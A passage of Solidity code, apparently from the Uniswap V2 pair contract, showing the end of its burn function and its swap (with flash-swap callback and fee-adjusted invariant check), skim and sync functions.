_update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }